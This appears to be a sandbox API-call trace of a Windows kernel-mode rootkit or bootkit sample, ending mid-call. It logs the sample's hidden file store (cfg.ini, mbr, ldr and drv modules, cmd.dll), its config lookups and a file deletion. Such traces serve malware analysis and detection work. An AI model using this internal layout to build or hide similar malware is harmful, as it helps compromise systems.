MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.825] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.825] IdePortDispatch () returned 0x103 [0126.825] KeWaitForMutexObject () returned 0x0 [0126.825] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.825] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.825] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.825] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.825] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.825] IdePortDispatch () returned 0x103 [0126.826] KeWaitForMutexObject () returned 0x0 [0126.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.826] KeLeaveCriticalRegion () [0126.826] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.826] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.826] KeEnterCriticalRegion () [0126.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.826] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.826] KeLeaveCriticalRegion () [0126.826] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.826] KeEnterCriticalRegion () [0126.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.826] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.826] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003accc40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.827] KeLeaveCriticalRegion () [0126.827] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.827] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.827] KeEnterCriticalRegion () [0126.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.827] ExFreePoolWithTag (P=0xfffffa8003bf81a0, Tag=0x0) [0126.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.827] KeLeaveCriticalRegion () [0126.827] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.827] ReleaseMutex (hMutex=0xf0) returned 1 [0126.827] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.827] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.827] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.827] KeEnterCriticalRegion () [0126.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.827] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.827] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.827] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.827] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.827] IdePortDispatch () returned 0x103 [0126.827] KeWaitForMutexObject () returned 0x0 [0126.827] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.827] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.827] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.827] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.827] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.827] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ed470 [0126.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.828] KeLeaveCriticalRegion () [0126.828] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.828] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.828] KeEnterCriticalRegion () [0126.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.828] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.828] KeLeaveCriticalRegion () [0126.828] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.828] KeEnterCriticalRegion () [0126.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.828] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.828] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.828] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.828] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.828] IdePortDispatch () returned 0x103 [0126.828] KeWaitForMutexObject () returned 0x0 [0126.828] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.828] KeLeaveCriticalRegion () [0126.828] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.828] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.828] KeEnterCriticalRegion () [0126.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.828] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b25000 [0126.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.829] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.829] IdePortDispatch () returned 0x103 [0126.829] KeWaitForMutexObject () returned 0x0 [0126.829] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.829] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.829] IdePortDispatch () returned 0x103 [0126.829] KeWaitForMutexObject () returned 0x0 [0126.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.829] KeLeaveCriticalRegion () [0126.829] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.830] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.830] KeEnterCriticalRegion () [0126.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.830] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.830] KeLeaveCriticalRegion () [0126.830] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.830] KeEnterCriticalRegion () [0126.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.830] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.830] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.830] KeLeaveCriticalRegion () [0126.830] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.830] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.830] KeEnterCriticalRegion () [0126.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.830] ExFreePoolWithTag (P=0xfffffa80037ed470, Tag=0x0) [0126.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.830] KeLeaveCriticalRegion () [0126.830] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.830] ReleaseMutex (hMutex=0xf0) returned 1 [0126.830] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.831] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.831] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.831] KeEnterCriticalRegion () [0126.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.831] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.831] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.831] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.831] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.831] IdePortDispatch () returned 0x103 [0126.831] KeWaitForMutexObject () returned 0x0 [0126.831] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.831] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.831] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.831] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.831] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.831] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ed6c0 [0126.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.831] KeLeaveCriticalRegion () [0126.831] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.831] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.831] KeEnterCriticalRegion () [0126.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.831] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.831] KeLeaveCriticalRegion () [0126.831] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.832] KeEnterCriticalRegion () [0126.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.832] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.832] IdePortDispatch () returned 0x103 [0126.832] KeWaitForMutexObject () returned 0x0 [0126.832] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.832] KeLeaveCriticalRegion () [0126.832] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.832] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.832] KeEnterCriticalRegion () [0126.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.832] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b26000 [0126.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.832] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.832] IdePortDispatch () returned 0x103 [0126.832] KeWaitForMutexObject () returned 0x0 [0126.833] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.833] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.833] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.833] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.833] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.833] IdePortDispatch () returned 0x103 [0126.833] KeWaitForMutexObject () returned 0x0 [0126.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.833] KeLeaveCriticalRegion () [0126.833] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.834] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.834] KeEnterCriticalRegion () [0126.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.834] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.834] KeLeaveCriticalRegion () [0126.834] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.834] KeEnterCriticalRegion () [0126.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.834] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.834] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.834] KeLeaveCriticalRegion () [0126.834] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.834] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.834] KeEnterCriticalRegion () [0126.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.834] ExFreePoolWithTag (P=0xfffffa80037ed6c0, Tag=0x0) [0126.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.834] KeLeaveCriticalRegion () [0126.834] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.834] ReleaseMutex (hMutex=0xf0) returned 1 [0126.834] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.834] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.834] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.834] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.834] KeEnterCriticalRegion () [0126.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.834] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.834] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.834] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.835] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.835] IdePortDispatch () returned 0x103 [0126.835] KeWaitForMutexObject () returned 0x0 [0126.835] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.835] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.835] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.835] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.835] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.835] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.835] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.835] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.835] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.835] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.835] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.835] KeLeaveCriticalRegion () [0126.835] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.835] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.835] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.835] KeEnterCriticalRegion () [0126.835] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.835] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.835] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.836] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.836] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.836] IdePortDispatch () returned 0x103 [0126.836] KeWaitForMutexObject () returned 0x0 [0126.836] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.836] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.836] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.836] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.836] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.836] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.836] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.836] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.836] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.836] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.836] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.836] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.836] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.836] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.836] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.836] KeLeaveCriticalRegion () [0126.836] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.836] ReleaseMutex (hMutex=0x100) returned 1 [0126.836] Sleep (dwMilliseconds=0x2bf20) [0126.846] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ecce3f0, dwHighDateTime=0x1d24fa4)) [0126.846] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.846] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.846] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.846] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.846] KeEnterCriticalRegion () [0126.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.846] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.846] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.846] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.846] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.846] IdePortDispatch () returned 0x103 [0126.847] KeWaitForMutexObject () returned 0x0 [0126.847] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.847] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.847] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.847] strncpy (in: _Dest=0xfffffa80027daf68, 